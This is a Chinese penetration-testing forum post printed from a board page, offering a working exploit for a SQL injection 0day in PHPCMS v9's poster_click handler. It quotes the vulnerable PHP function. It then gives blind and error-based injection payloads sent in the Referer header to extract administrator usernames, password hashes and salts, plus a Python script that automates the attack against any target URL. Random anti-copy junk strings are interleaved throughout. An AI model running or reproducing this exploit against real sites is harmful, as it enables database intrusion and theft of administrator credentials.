中国网络渗透测试联盟
标题:
phpcms post_click注入0day利用代码
[打印本页]
作者:
admin
时间:
2013-1-11 21:01
标题:
phpcms post_click注入0day利用代码
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
; M- u+ K2 f6 T2 u# ~
, ^2 I& R X& j, c/ i+ r
问题函数\phpcms\modules\poster\index.php
3 I/ L* K+ X% a7 U% J2 v7 F
X! w. A$ H0 m) i/ {: D, y8 G
public function poster_click() {
4 P7 O+ S. }2 N* w# v
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
0 p5 |% u# i$ Y& b! u
$r = $this->db->get_one(array('id'=>$id));
6 U1 U% B% |! i
if (!is_array($r) && empty($r)) return false;
, B A& Z# ]9 ^4 M5 a4 F; T
$ip_area = pc_base::load_sys_class('ip_area');
, T8 b5 ~, }" k7 I* ~8 y/ b
$ip = ip();
; T1 t9 V- l) ]$ F1 V
$area = $ip_area->get($ip);
- Z: u0 Q* R& u; p0 K' O
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
2 u( i) o# ?: k" l; d9 ~
if($id) {
( ]. ^0 ~0 \$ b
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
6 ]& L, W6 r. x. E
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
5 A, H6 B# S, v/ H
}
6 r) o5 W: k8 c3 h
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
( F9 D# D0 m- _! V* d" P0 y
$setting = string2array($r['setting']);
- W5 f( l a% ]! Y
if (count($setting)==1) {
; r# _8 `9 ~. k+ u* q- v
$url = $setting['1']['linkurl'];
6 u: p+ {) M3 Q Y" X x `- i2 Z
} else {
0 M% s) y2 J* I
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
& [* a& q& L' Y# e( w# E9 k8 h
}
- _, c# d" \" H8 Y: d
header('Location: '.$url);
: w4 j3 u2 z! h6 r. c
}
2 `) Q: G b8 H4 a* r, w
1 m* X; z% O, d _, q$ Q4 |
3 g% x) g+ p! z+ q. ~! Z5 K O
1 w. U: P, n' q
利用方式：
" ]$ M8 e8 Y2 b7 Z2 \) E" y
1 C [+ r& ]/ N* Z
1、可以采用盲注入的手法：
- y) J2 S; h% M. q
0 u2 w* d& a$ p" z1 _
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
( C3 |' L/ O* u$ a6 l4 h
$ g: s. g# x% Z# Q5 w
通过返回页面，正常与否一个个猜解密码字段。
7 ~# [- r, K# K( H
# f% t/ d) F1 ^. o! J7 K
2、代码是花开写的，随手附上了：
7 \# T s" W5 l+ m4 T
/ [- w- [$ _* K, y3 E1 @% }! {
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
3 [2 E1 X' \4 J5 f) s) M/ z6 M0 R
_- F1 T* D4 q6 ` s
此方法是爆错注入手法，原理自查。
/ |! I% x& K9 g/ J: A8 }
1 m. ]! q: N6 i0 u' G! P: W
% y$ p! a7 H4 @& F; ^$ c( \
" k6 ?4 n" ~7 t! j4 j1 M
利用程序:
6 R( U9 e) r. k0 |, K
, Q& }$ i' k2 a
#!/usr/bin/env python
( J( M- x# D9 E8 a# k3 n! @
import httplib,sys,re
* z: u6 L) p+ v$ ?
1 z) v$ e1 H3 l* w
def attack():
0 Y0 s* j4 Z0 E1 D! Z
print “Code by Pax.Mac Team conqu3r!”
# M0 N9 p7 h m1 @& A' z# C
print “Welcome to our zone!!!”
8 M5 v& V2 B% M3 Y9 {* B0 q
url=sys.argv[1]
% s# `: n0 d( Z8 B' b9 k1 |
paths=sys.argv[2]
) O% e- K! B% f* Q' V! F0 z
conn = httplib.HTTPConnection(url)
3 L) s) f! t+ d% y% w" S, |
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
$ X9 j3 w; M: B5 k8 w" U
“Accept”: “text/plain”,
! S# N0 J# u+ R( K) [. m! V% }
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
/ n% E4 j+ M" U! {- F6 N+ \7 m7 p
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
; p$ l2 x- N! p1 c/ L" s
r1 = conn.getresponse()
: w7 I8 P9 T, _* k
datas=r1.read()
4 |2 e* s) [, _9 K4 j+ w
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
* v7 R3 W, `3 x% i5 q& U
print datas[0]
4 t2 o+ W6 G+ \8 y0 y8 ?: \
conn.close()
/ I( O& o: [+ h5 h) o
if __name__==”__main__”:
/ j( h8 t4 J6 Q
if len(sys.argv)<3:
) W! j# S* L" l
print “Code by Pax.Mac Team conqu3r”
3 t1 ]4 w$ ~. n. r" ^
print “Usgae:”
* ]+ D: _- K' K) ?1 w4 ^) R
print “ phpcmsattack.py
www.paxmac.org
/”
# P9 Z% l: b7 k
print “ phpcmsataack.py
www.paxmac.org
/phpcmsv9/”
! C3 f5 x2 M/ s
sys.exit(1)
/ N, F/ S" N2 _/ d( \* R- t5 t0 I
attack()
$ v% b6 N' l$ w% [5 d. F s# N6 |
( r' f5 p( `7 q' X% W
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2